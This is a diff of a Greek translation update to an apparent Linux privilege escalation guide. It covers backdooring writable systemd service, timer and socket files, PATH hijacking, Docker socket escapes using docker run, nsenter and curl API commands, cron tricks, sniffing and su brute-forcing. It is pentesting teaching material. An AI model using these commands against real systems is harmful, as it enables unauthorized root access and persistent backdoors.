**ταξινομήσετε κατά τις λιγότερο εκτελεσμένες εντολές** και να διαγράψετε τις εντολές που έχουν εκτελεστεί περισσότερο, μπορείτε να κάνετε: +Για παράδειγμα, για να **παρακολουθείτε κάθε 0.1s για 1 λεπτό**, **να ταξινομήσετε με βάση τις λιγότερο εκτελεσμένες εντολές** και να διαγράψετε τις εντολές που έχουν εκτελεστεί περισσότερο, μπορείτε να κάνετε: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Μπορείτε επίσης να χρησιμοποιήσετε** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (αυτό θα παρακολουθεί και θα εμφανίζει κάθε process που ξεκινά). +**Μπορείτε επίσης να χρησιμοποιήσετε** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (αυτό θα παρακολουθεί και θα καταγράφει κάθε process που ξεκινά). ### Αόρατα cron jobs -Είναι δυνατόν να δημιουργήσετε ένα cronjob **τοποθετώντας ένα carriage return μετά από ένα σχόλιο** (χωρίς χαρακτήρα newline), και το cron job θα λειτουργήσει. Παράδειγμα (προσέξτε τον χαρακτήρα carriage return): +Είναι δυνατό να δημιουργηθεί ένα cronjob **putting a carriage return after a comment** (χωρίς χαρακτήρα newline), και το cron job θα λειτουργήσει. Παράδειγμα (παρατηρήστε τον χαρακτήρα carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Υπηρεσίες -### Αρχεία _.service_ με δικαίωμα εγγραφής +### Εγγράψιμα αρχεία _.service_ -Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε `.service` αρχείο, αν μπορείτε, **θα μπορούσατε να το τροποποιήσετε** ώστε να **εκτελεί** το **backdoor σας όταν** η υπηρεσία **ξεκινάει**, **επανεκκινείται** ή **σταματάει** (ίσως χρειαστεί να περιμένετε μέχρι να γίνει reboot της μηχανής).\ -Για παράδειγμα δημιουργήστε το backdoor σας μέσα στο αρχείο .service με **`ExecStart=/tmp/script.sh`** +Ελέγξτε αν μπορείτε να γράψετε κάποιο αρχείο `.service`, αν μπορείτε, **θα μπορούσατε να το τροποποιήσετε** ώστε να **εκτελεί** το **backdoor όταν** η υπηρεσία **εκκινείται**, **επανεκκινείται** ή **σταματά** (ίσως χρειαστεί να περιμένετε μέχρι να γίνει επανεκκίνηση της μηχανής).\ +Για παράδειγμα, δημιουργήστε το backdoor σας μέσα στο αρχείο .service με **`ExecStart=/tmp/script.sh`** -### Εκτελέσιμα υπηρεσίας με δικαίωμα εγγραφής +### Εγγράψιμα service binaries -Λάβετε υπόψη ότι αν έχετε **δικαιώματα εγγραφής σε εκτελέσιμα αρχεία που εκτελούνται από υπηρεσίες**, μπορείτε να τα αλλάξετε για backdoors ώστε όταν οι υπηρεσίες επανεκτελεστούν τα backdoors να εκτελεστούν. +Να έχετε υπόψη ότι αν έχετε **δικαιώματα εγγραφής σε binaries που εκτελούνται από υπηρεσίες**, μπορείτε να τα αλλάξετε για να τοποθετήσετε backdoors, έτσι ώστε όταν οι υπηρεσίες επανεκτελεστούν τα backdoors να εκτελεστούν. -### systemd PATH - Relative Paths +### systemd PATH - Σχετικές διαδρομές Μπορείτε να δείτε το PATH που χρησιμοποιεί το **systemd** με: ```bash systemctl show-environment ``` -Αν διαπιστώσετε ότι μπορείτε να **write** σε οποιονδήποτε από τους φακέλους της διαδρομής, μπορεί να είστε σε θέση να **escalate privileges**. Πρέπει να αναζητήσετε **σχετικές διαδρομές που χρησιμοποιούνται σε αρχεία ρυθμίσεων υπηρεσιών** όπως: +Εάν διαπιστώσετε ότι μπορείτε να **γράψετε** σε οποιονδήποτε από τους φακέλους της διαδρομής, ενδέχεται να μπορείτε να **escalate privileges**. Πρέπει να αναζητήσετε **σχετικές διαδρομές που χρησιμοποιούνται σε αρχεία ρυθμίσεων υπηρεσιών** όπως: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Τότε, δημιούργησε ένα **εκτελέσιμο** με **το ίδιο όνομα με το binary της σχετικής διαδρομής** μέσα στον systemd PATH φάκελο που μπορείς να γράψεις, και όταν η υπηρεσία ζητηθεί να εκτελέσει την ευπαθή ενέργεια (**Start**, **Stop**, **Reload**), το **backdoor** σου θα εκτελεστεί (μη-προνόμιο χρήστες συνήθως δεν μπορούν να ξεκινήσουν/σταματήσουν services αλλά έλεγξε αν μπορείς να χρησιμοποιήσεις `sudo -l`). +Στη συνέχεια, δημιουργήστε ένα **εκτελέσιμο** με το **ίδιο όνομα με το binary της σχετικής διαδρομής** μέσα στον φάκελο PATH του systemd στον οποίο μπορείτε να γράψετε, και όταν η υπηρεσία ζητηθεί να εκτελέσει την ευάλωτη ενέργεια (**Start**, **Stop**, **Reload**), το **backdoor** σας θα εκτελεστεί (οι μη προνομιούχοι χρήστες συνήθως δεν μπορούν να εκκινήσουν/σταματήσουν υπηρεσίες αλλά ελέγξτε αν μπορείτε να χρησιμοποιήσετε `sudo -l`). -**Μάθε περισσότερα για τις υπηρεσίες με `man systemd.service`.** +**Μάθετε περισσότερα για τις υπηρεσίες με `man systemd.service`.** -## **Timers** +## **Χρονοδιακόπτες** -**Timers** είναι systemd unit αρχεία των οποίων το όνομα τελειώνει σε `**.timer**` και που ελέγχουν αρχεία ή συμβάντα `**.service**`. Τα **Timers** μπορούν να χρησιμοποιηθούν ως εναλλακτική του cron, καθώς έχουν ενσωματωμένη υποστήριξη για calendar time events και monotonic time events και μπορούν να τρέξουν ασύγχρονα. +**Χρονοδιακόπτες** είναι αρχεία μονάδας systemd των οποίων το όνομα τελειώνει σε `**.timer**` και που ελέγχουν αρχεία ή γεγονότα `**.service**`. Οι **Χρονοδιακόπτες** μπορούν να χρησιμοποιηθούν ως εναλλακτική του cron, καθώς διαθέτουν ενσωματωμένη υποστήριξη για γεγονότα ημερολογιακού χρόνου και γεγονότα μονοτονικού χρόνου και μπορούν να εκτελούνται ασύγχρονα. -Μπορείς να απαριθμήσεις όλους τους timers με: +Μπορείτε να απαριθμήσετε όλους τους χρονοδιακόπτες με: ```bash systemctl list-timers --all ``` -### Εγγράψιμοι χρονοδιακόπτες +### Timers με δυνατότητα εγγραφής -Αν μπορείτε να τροποποιήσετε έναν χρονοδιακόπτη, μπορείτε να τον κάνετε να εκτελέσει ορισμένες υπάρχουσες μονάδες του systemd.unit (όπως ένα `.service` ή ένα `.target`). +Αν μπορείτε να τροποποιήσετε έναν timer, μπορείτε να τον κάνετε να εκτελέσει κάποια υπάρχοντα systemd.unit (όπως ένα `.service` ή ένα `.target`) ```bash Unit=backdoor.service ``` -Στην τεκμηρίωση μπορείτε να διαβάσετε τι είναι η μονάδα (Unit): +Στην τεκμηρίωση μπορείτε να διαβάσετε τι είναι η Unit: -> Η μονάδα που θα ενεργοποιηθεί όταν λήξει αυτός ο timer. Το όρισμα είναι ένα όνομα μονάδας, του οποίου η κατάληξη δεν είναι ".timer". Αν δεν καθοριστεί, αυτή η τιμή προεπιλέγεται σε μια service που έχει το ίδιο όνομα με τη timer μονάδα, εκτός από την κατάληξη. (Βλέπε παραπάνω.) Συνιστάται το όνομα της μονάδας που ενεργοποιείται και το όνομα της timer μονάδας να ονομάζονται πανομοιότυπα, εκτός από την κατάληξη. +> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. -Επομένως, για να καταχραστείτε αυτήν την άδεια θα πρέπει να: +Επομένως, για να καταχραστείτε αυτή την άδεια θα χρειαστεί να: -- Βρείτε κάποια μονάδα systemd (όπως `.service`) που **εκτελεί ένα εγγράψιμο δυαδικό αρχείο** -- Βρείτε κάποια μονάδα systemd που **εκτελεί μια σχετική διαδρομή** και έχετε **δικαιώματα εγγραφής** πάνω στο **systemd PATH** (για να μιμηθείτε το εκτελέσιμο) +- Βρείτε κάποια systemd unit (όπως ένα `.service`) που **εκτελεί ένα writable binary** +- Βρείτε κάποια systemd unit που **εκτελεί ένα relative path** και έχετε **writable privileges** πάνω στο **systemd PATH** (για να μιμηθείτε αυτό το executable) -**Μάθετε περισσότερα για τους timers με `man systemd.timer`.** +**Μάθετε περισσότερα σχετικά με τους timers με `man systemd.timer`.** ### **Ενεργοποίηση Timer** @@ -501,22 +502,22 @@ Sockets can be configured using `.socket` files. **Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές διαφέρουν αλλά συνοπτικά χρησιμοποιούνται για να **δηλώσουν πού θα ακούει** το socket (η διαδρομή του AF_UNIX socket αρχείου, το IPv4/6 και/ή ο αριθμός θύρας για ακρόαση, κ.λπ.) -- `Accept`: Δέχεται ένα boolean όρισμα. Αν είναι **true**, μια **instanced service δημιουργείται για κάθε εισερχόμενη σύνδεση** και μόνο το socket της σύνδεσης περνάει σε αυτή. Αν είναι **false**, όλα τα listening sockets περνάνε στη **ξεκινώμενη service unit**, και δημιουργείται μόνο μία service unit για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για datagram sockets και FIFOs όπου μια ενιαία service unit χειρίζεται χωρίς όρους όλη την εισερχόμενη κίνηση. **Προεπιλογή: false**. Για λόγους απόδοσης, συνιστάται να γράφονται νέα daemons με τρόπο κατάλληλο για `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Δέχονται μία ή περισσότερες γραμμές εντολών, οι οποίες **εκτελούνται πριν** ή **μετά** τα listening **sockets**/FIFOs **δημιουργηθούν** και δεθούν, αντίστοιχα. Το πρώτο token της γραμμής εντολής πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από τα επιχειρήματα για τη διεργασία. -- `ExecStopPre`, `ExecStopPost`: Επιπλέον **εντολές** που **εκτελούνται πριν** ή **μετά** τα listening **sockets**/FIFOs **κλείσουν** και αφαιρεθούν, αντίστοιχα. -- `Service`: Καθορίζει το όνομα της service unit που θα **ενεργοποιηθεί** σε περίπτωση **εισερχόμενης κίνησης**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλογή είναι η service που έχει το ίδιο όνομα με το socket (με την κατάληξη αντικατεστημένη). Στις περισσότερες περιπτώσεις δεν είναι απαραίτητο να χρησιμοποιήσετε αυτή την επιλογή. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές διαφέρουν αλλά συνοπτικά χρησιμοποιούνται για να **υποδείξουν πού θα ακούει** το socket (τη διαδρομή του AF_UNIX socket αρχείου, το IPv4/6 και/ή τον αριθμό θύρας για ακρόαση, κ.λπ.) +- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Δέχονται μία ή περισσότερες γραμμές εντολών, οι οποίες είναι **εκτελούνται πριν** ή **μετά** τα listening **sockets**/FIFOs να **δημιουργηθούν** και να δεσμευτούν, αντίστοιχα. Το πρώτο token της γραμμής εντολής πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από επιχειρήματα για τη διεργασία. +- `ExecStopPre`, `ExecStopPost`: Πρόσθετες **εντολές** που **εκτελούνται πριν** ή **μετά** τα listening **sockets**/FIFOs να **κλείσουν** και να αφαιρεθούν, αντίστοιχα. +- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. -### Εγγράψιμα αρχεία .socket +### Writable .socket files -Αν βρείτε ένα **εγγράψιμο** αρχείο `.socket` μπορείτε να **προσθέσετε** στην αρχή της ενότητας `[Socket]` κάτι σαν: `ExecStartPre=/home/kali/sys/backdoor` και το backdoor θα εκτελεστεί πριν δημιουργηθεί το socket. Επομένως, **πιθανώς θα χρειαστεί να περιμένετε μέχρι να γίνει reboot του μηχανήματος.**\ -_Σημειώστε ότι το σύστημα πρέπει να χρησιμοποιεί αυτή τη διαμόρφωση του αρχείου socket αλλιώς το backdoor δεν θα εκτελεστεί_ +If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ +_Σημειώστε ότι το σύστημα πρέπει να χρησιμοποιεί αυτή τη διαμόρφωση του socket αρχείου αλλιώς το backdoor δεν θα εκτελεστεί_ -### Εγγράψιμα sockets +### Writable sockets -Αν **εντοπίσετε οποιοδήποτε εγγράψιμο socket** (_τώρα μιλάμε για Unix Sockets και όχι για τα config αρχεία `.socket`_), τότε **μπορείτε να επικοινωνήσετε** με αυτό το socket και ίσως εκμεταλλευτείτε μια ευπάθεια. +If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. -### Απαρίθμηση Unix Sockets +### Καταγραφή Unix Sockets ```bash netstat -a -p --unix ``` @@ -529,7 +530,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Exploitation example:** +**Παράδειγμα εκμετάλλευσης:** {{#ref}} @@ -538,36 +539,36 @@ socket-command-injection.md ### HTTP sockets -Σημειώστε ότι μπορεί να υπάρχουν μερικά **sockets που ακούν για HTTP requests** (_Δεν μιλάω για αρχεία .socket αλλά για τα αρχεία που λειτουργούν ως unix sockets_). Μπορείτε να το ελέγξετε με: +Σημειώστε ότι μπορεί να υπάρχουν κάποια **sockets listening for HTTP** requests (_δεν μιλάω για .socket files αλλά για αρχεία που λειτουργούν ως unix sockets_). Μπορείτε να το ελέγξετε με: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Εάν το socket **απαντήσει με ένα HTTP** αίτημα, τότε μπορείς να **επικοινωνήσεις** μαζί του και ίσως να **exploit some vulnerability**. +If the socket **απαντά σε ένα HTTP** αίτημα, τότε μπορείτε να **επικοινωνήσετε** μαζί του και ίσως να **εκμεταλλευτείτε κάποια ευπάθεια**. -### Εγγράψιμο Docker socket +### Docker socket με δυνατότητα εγγραφής -Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που πρέπει να ασφαλιστεί. Από προεπιλογή, είναι εγγράψιμο από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή write access σε αυτό το socket μπορεί να οδηγήσει σε privilege escalation. Ακολουθεί ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικές μέθοδοι αν το Docker CLI δεν είναι διαθέσιμο. +Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που πρέπει να προστατεύεται. Από προεπιλογή, είναι εγγράψιμο από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή πρόσβασης εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε privilege escalation. Εδώ είναι μια ανάλυση του πώς αυτό μπορεί να γίνει και εναλλακτικές μέθοδοι εάν το Docker CLI δεν είναι διαθέσιμο. -#### **Privilege Escalation with Docker CLI** +#### **Privilege Escalation με Docker CLI** -Αν έχεις write access στο Docker socket, μπορείς να πραγματοποιήσεις privilege escalation χρησιμοποιώντας τις παρακάτω εντολές: +Εάν έχετε πρόσβαση εγγραφής στο Docker socket, μπορείτε να escalate privileges χρησιμοποιώντας τις ακόλουθες εντολές: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Αυτές οι εντολές σας επιτρέπουν να τρέξετε ένα container με πρόσβαση επιπέδου root στο σύστημα αρχείων του host. +Αυτές οι εντολές σας επιτρέπουν να εκτελέσετε ένα container με πρόσβαση επιπέδου root στο file system του host. -#### **Χρήση του Docker API απευθείας** +#### **Using Docker API Directly** -Σε περιπτώσεις όπου το Docker CLI δεν είναι διαθέσιμο, το Docker socket μπορεί ακόμα να χειραγωγηθεί χρησιμοποιώντας το Docker API και εντολές `curl`. +Σε περιπτώσεις όπου το Docker CLI δεν είναι διαθέσιμο, το Docker socket μπορεί ακόμα να χειριστεί μέσω του Docker API και εντολών `curl`. -1. **List Docker Images:** Ανάκτηση της λίστας των διαθέσιμων images. +1. **List Docker Images:** Ανακτήστε τη λίστα των διαθέσιμων images. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Αποστολή αιτήματος για δημιουργία ενός container που προσαρτά τον root κατάλογο του host. +2. **Create a Container:** Αποστείλετε ένα αίτημα για να δημιουργήσετε ένα container που κάνει mount τον root κατάλογο του host συστήματος. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -579,7 +580,7 @@ Start the newly created container: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Χρησιμοποιήστε το `socat` για να δημιουργήσετε μια σύνδεση προς το container, επιτρέποντας την εκτέλεση εντολών εντός αυτού. +3. **Attach to the Container:** Χρησιμοποιήστε το `socat` για να δημιουργήσετε μια σύνδεση με το container, επιτρέποντας εκτέλεση εντολών μέσα σε αυτό. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -589,31 +590,31 @@ Connection: Upgrade Upgrade: tcp ``` -Αφού ρυθμίσετε τη σύνδεση `socat`, μπορείτε να εκτελέσετε εντολές απευθείας στο container με πρόσβαση επιπέδου root στο σύστημα αρχείων του host. +Μετά τη ρύθμιση της σύνδεσης `socat`, μπορείτε να εκτελείτε εντολές απευθείας στο container με πρόσβαση επιπέδου root στο filesystem του host. -### Άλλα +### Others -Σημειώστε ότι αν έχετε δικαιώματα εγγραφής στο docker socket επειδή βρίσκεστε **inside the group `docker`** έχετε [**περισσότερους τρόπους για να αυξήσετε προνόμια**](interesting-groups-linux-pe/index.html#docker-group). Αν το [**docker API ακούει σε κάποια θύρα** μπορείτε επίσης να το παραβιάσετε](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Σημειώστε ότι αν έχετε δικαιώματα εγγραφής πάνω στο docker socket επειδή βρίσκεστε **inside the group `docker`** έχετε [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Αν το [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Δείτε **περισσότερους τρόπους εξόδου από το docker ή εκμετάλλευσής του για να αυξήσετε δικαιώματα** στο: +Ελέγξτε **περισσότερους τρόπους για να διαφύγετε από το docker ή να το καταχραστείτε για να κλιμακώσετε προνόμια** στο: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) αύξηση προνομίων +## Containerd (ctr) privilege escalation -Εάν διαπιστώσετε ότι μπορείτε να χρησιμοποιήσετε την εντολή **`ctr`**, διαβάστε την ακόλουθη σελίδα γιατί **ενδέχεται να μπορείτε να την εκμεταλλευτείτε για να αυξήσετε προνόμια**: +If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** αύξηση προνομίων +## **RunC** privilege escalation -Εάν διαπιστώσετε ότι μπορείτε να χρησιμοποιήσετε την εντολή **`runc`**, διαβάστε την ακόλουθη σελίδα γιατί **ενδέχεται να μπορείτε να την εκμεταλλευτείτε για να αυξήσετε προνόμια**: +If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -622,15 +623,15 @@ runc-privilege-escalation.md ## **D-Bus** -Το D-Bus είναι ένα εξελιγμένο σύστημα inter-Process Communication (IPC) που επιτρέπει στις εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα με αποδοτικό τρόπο. Σχεδιασμένο για το σύγχρονο σύστημα Linux, παρέχει ένα στιβαρό πλαίσιο για διάφορες μορφές επικοινωνίας εφαρμογών. +D-Bus είναι ένα σύνθετο σύστημα Inter-Process Communication (IPC) που επιτρέπει σε εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα με αποδοτικό τρόπο. Σχεδιασμένο για τα σύγχρονα Linux συστήματα, προσφέρει ένα στιβαρό πλαίσιο για διάφορες μορφές επικοινωνίας εφαρμογών. -Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που βελτιώνει την ανταλλαγή δεδομένων μεταξύ διεργασιών, θυμίζοντας βελτιωμένα UNIX domain sockets. Επιπλέον, βοηθά στη μετάδοση γεγονότων ή σημάτων, ενισχύοντας την απρόσκοπτη ενσωμάτωση μεταξύ συστημικών συνιστωσών. Για παράδειγμα, ένα σήμα από ένα Bluetooth daemon για εισερχόμενη κλήση μπορεί να αναγκάσει έναν μουσικό player να σιγήσει, βελτιώνοντας την εμπειρία χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα remote object system, απλοποιώντας αιτήματα υπηρεσιών και κλήσεις μεθόδων μεταξύ εφαρμογών, καθιστώντας διαδικασίες που παραδοσιακά ήταν περίπλοκες πιο απλές. +Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που βελτιώνει την ανταλλαγή δεδομένων μεταξύ διεργασιών, παρόμοιο με ενισχυμένα UNIX domain sockets. Επιπλέον, βοηθά στη μετάδοση γεγονότων ή σημάτων, διευκολύνοντας την ομαλή ενσωμάτωση μεταξύ των στοιχείων του συστήματος. Για παράδειγμα, ένα σήμα από έναν Bluetooth daemon σχετικά με εισερχόμενη κλήση μπορεί να οδηγήσει σε σίγαση ενός music player, βελτιώνοντας την εμπειρία χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα remote object σύστημα, απλοποιώντας αιτήματα υπηρεσιών και κλήσεις μεθόδων μεταξύ εφαρμογών, κάνοντας διαδικασίες που παλαιότερα ήταν πολύπλοκες πιο απλές. -Το D-Bus λειτουργεί με μοντέλο **allow/deny**, διαχειριζόμενο τα δικαιώματα μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων, κ.λπ.) βάσει του σωρευτικού αποτελέσματος των κανόνων πολιτικής που ταιριάζουν. Αυτές οι πολιτικές ορίζουν τις αλληλεπιδράσεις με το bus, ενδεχομένως επιτρέποντας αύξηση προνομίων μέσω της εκμετάλλευσης αυτών των δικαιωμάτων. +Το D-Bus λειτουργεί με μοντέλο allow/deny, διαχειριζόμενο τα δικαιώματα μηνυμάτων (κλήσεις μεθόδων, εκπομπή σημάτων κ.λπ.) βάσει του αθροιστικού αποτελέσματος κανόνων πολιτικής που ταιριάζουν. Αυτές οι πολιτικές καθορίζουν τις αλληλεπιδράσεις με το bus, και ενδέχεται να επιτρέψουν κλιμάκωση προνομίων μέσω της εκμετάλλευσης αυτών των δικαιωμάτων. -Παρατίθεται ένα παράδειγμα τέτοιας πολιτικής στο `/etc/dbus-1/system.d/wpa_supplicant.conf`, που περιγράφει τα δικαιώματα για τον χρήστη root να κατέχει, να στέλνει σε και να λαμβάνει μηνύματα από το `fi.w1.wpa_supplicant1`. +Παρατίθεται ένα παράδειγμα τέτοιας πολιτικής στο /etc/dbus-1/system.d/wpa_supplicant.conf, που περιγράφει δικαιώματα για τον χρήστη root να κατέχει, να στέλνει και να λαμβάνει μηνύματα από fi.w1.wpa_supplicant1. -Οι πολιτικές χωρίς καθορισμένο χρήστη ή ομάδα ισχύουν παγκοσμίως, ενώ οι πολιτικές στο context "default" εφαρμόζονται σε όλους όσους δεν καλύπτονται από άλλες συγκεκριμένες πολιτικές. +Πολιτικές χωρίς καθορισμένο χρήστη ή ομάδα ισχύουν καθολικά, ενώ οι πολιτικές στο πλαίσιο "default" εφαρμόζονται σε όλους όσους δεν καλύπτονται από άλλες συγκεκριμένες πολιτικές. ```xml @@ -648,7 +649,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Δίκτυο** -Είναι πάντα ενδιαφέρον να enumerate το δίκτυο και να προσδιορίσεις τη θέση της μηχανής. +Είναι πάντα ενδιαφέρον να enumerate το δίκτυο και να εντοπίσεις τη θέση της μηχανής. ### Γενική enumeration ```bash @@ -675,22 +676,22 @@ lsof -i ``` ### Open ports -Ελέγχετε πάντα τις υπηρεσίες δικτύου που τρέχουν στο μηχάνημα και με τις οποίες δεν μπορέσατε να αλληλεπιδράσετε πριν αποκτήσετε πρόσβαση σε αυτό: +Ελέγξτε πάντα τις δικτυακές υπηρεσίες που τρέχουν στη μηχανή και με τις οποίες δεν μπορέσατε να αλληλεπιδράσετε πριν αποκτήσετε πρόσβαση σε αυτήν: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Ελέγξτε αν μπορείτε να sniff traffic. Αν μπορείτε, ίσως καταφέρετε να αποκτήσετε credentials. +Ελέγξτε αν μπορείτε να sniff traffic. Αν ναι, μπορεί να καταφέρετε να αποκτήσετε κάποια credentials. ``` timeout 1 tcpdump ``` ## Χρήστες -### Γενική Enumeration +### Γενική καταγραφή -Ελέγξτε **ποιος/ποια** είστε, ποιες **privileges** έχετε, ποιοι **users** υπάρχουν στο σύστημα, ποιοι μπορούν να **login** και ποιοι έχουν **root privileges:** +Ελέγξτε **ποιος** είστε, ποιες **privileges** έχετε, ποιοι **users** υπάρχουν στα συστήματα, ποιοι μπορούν να κάνουν **login** και ποιοι έχουν **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -712,21 +713,21 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### Μεγάλο UID -Ορισμένες εκδόσεις του Linux επηρεάστηκαν από ένα σφάλμα που επιτρέπει σε χρήστες με **UID > INT_MAX** να αποκτήσουν αυξημένα προνόμια. Περισσότερες πληροφορίες: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) και [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -Exploit it using: **`systemd-run -t /bin/bash`** +Ορισμένες εκδόσεις Linux επηρεάστηκαν από ένα σφάλμα που επιτρέπει σε χρήστες με **UID > INT_MAX** να αποκτήσουν αυξημένα προνόμια. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Εκμεταλλευτείτε το** χρησιμοποιώντας: **`systemd-run -t /bin/bash`** -### Groups +### Ομάδες -Ελέγξτε αν είστε **μέλος κάποιας ομάδας** που θα μπορούσε να σας χορηγήσει root privileges: +Ελέγξτε αν είστε **μέλος κάποιας ομάδας** που θα μπορούσε να σας δώσει δικαιώματα root: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Clipboard +### Πρόχειρο Ελέγξτε αν υπάρχει κάτι ενδιαφέρον στο πρόχειρο (αν είναι δυνατόν) ```bash @@ -739,33 +740,33 @@ echo "Highlighted text: "`xsel -o 2>/dev/null` else echo "Not found xsel and xclip" fi ``` -### Πολιτική κωδικών πρόσβασης +### Πολιτική Κωδικών Πρόσβασης ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### Known passwords +### Γνωστά passwords -Αν **γνωρίζετε κάποιον κωδικό** του περιβάλλοντος **προσπαθήστε να συνδεθείτε ως κάθε χρήστης** χρησιμοποιώντας τον κωδικό. +Αν **γνωρίζεις κάποιο password** του περιβάλλοντος, **πρόσπαθησε να κάνεις login ως κάθε user** χρησιμοποιώντας το password. ### Su Brute -Αν δεν σας πειράζει να προκαλέσετε πολύ θόρυβο και τα binaries `su` και `timeout` υπάρχουν στον υπολογιστή, μπορείτε να προσπαθήσετε να κάνετε brute-force χρήστη χρησιμοποιώντας [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) με την παράμετρο `-a` προσπαθεί επίσης να κάνει brute-force σε χρήστες. +Αν δεν σε ενοχλεί να παράγεις πολύ θόρυβο και τα binaries `su` και `timeout` είναι παρόντα στον υπολογιστή, μπορείς να προσπαθήσεις να brute-force έναν user χρησιμοποιώντας [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) με την παράμετρο `-a` επίσης προσπαθεί να brute-force users. ## Writable PATH abuses ### $PATH -Αν διαπιστώσετε ότι 